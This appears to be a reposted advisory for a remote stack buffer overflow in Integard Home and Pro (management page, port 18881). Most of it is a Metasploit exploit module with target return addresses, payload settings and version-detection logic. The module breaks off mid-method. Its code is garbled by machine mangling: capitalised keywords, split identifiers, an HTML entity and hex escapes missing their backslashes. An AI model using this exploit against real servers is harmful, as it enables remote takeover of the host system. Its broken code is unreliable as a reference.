Affected Versions:
Race River Integard Home 2.0.0.9021
Race River Integard Pro 2.2.0.9026 vulnerability description:
Integard Home and Pro are Home and enterprise-level online content monitoring and filtering systems.
The management page on port 18881 of the Integard server has the stack overflow vulnerability. Remote attackers can trigger this overflow by providing an extra-long string in the password field, resulting in full control of applications and operating systems.
<* Reference
The http://www.corelan.be: 8800/index. php/forum/security-advisories/corelan-10-061-integard-home-and-pro-v2-remote-http-buffer-overflow-exploit/
Http://secunia.com/advisories/41312/
*>
Test method:
The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk!
Class Metasploit3 <Msf: Exploit: Remote
Include Msf: Exploit: Remote: Tcp
Def initialize (info = {})
Super (update_info (info,
Name => Integard Home/Pro version 2.0,
Description => % q {
Exploit for Integard HTTP Server, vulnerability discovered by Lincoln
},
Author =>
[
Lincoln,
Nullthreat,
Rick2600,
],
License => MSF_LICENSE,
Version => $ Revision: $,
References =>
[
[URL, http://www.corelan.be: 8800/advisories. php? Id = CORELAN-10-061],
],
DefaultOptions =>
{
EXITFUNC => thread,
},
Payload =>
{
Space = & gt; 2000,
BadChars => "x00x20x26x2fx3dx3fx5c ",
StackAdjustment =>-3500,
},
Platform => win,
Privileged => false,
Targets =>
[
[Automatic Targeting, {auto => true}],
[Integard Home 2.0.0.9021, {Ret => 0x00000065e,}],
[Integard Pro 2.2.0.9026, {Ret => 0x0040362C,}],
],
DefaultTarget => 0 ))
Register_options (
[
Opt: RPORT (1, 18881)
], Self. class)
End
# Current version does not work with bind () type of payloads
# Meterpreter, windows/exec etc works fine
Def exploit
Mytarget = target
If (target [auto])
Mytarget = nil
Print_status ("[*] Automatically detecting the target ...")
Connect
Get = "GET/banner.jpg HTTP/1.1"
Sock. put (get)
Data = sock. recv (1024)
If (data = ~ /Content-Length: 24584 /)
Print_status ("[!] Found Version-Integard Home ")
Mytarget = self.tar gets [1]
End
If (data = ~ /Content-Length: 23196 /)
Print_status ("[!] Found Version-Integard Pro ")
Mytarget = self.tar gets [2]
End
Sock. close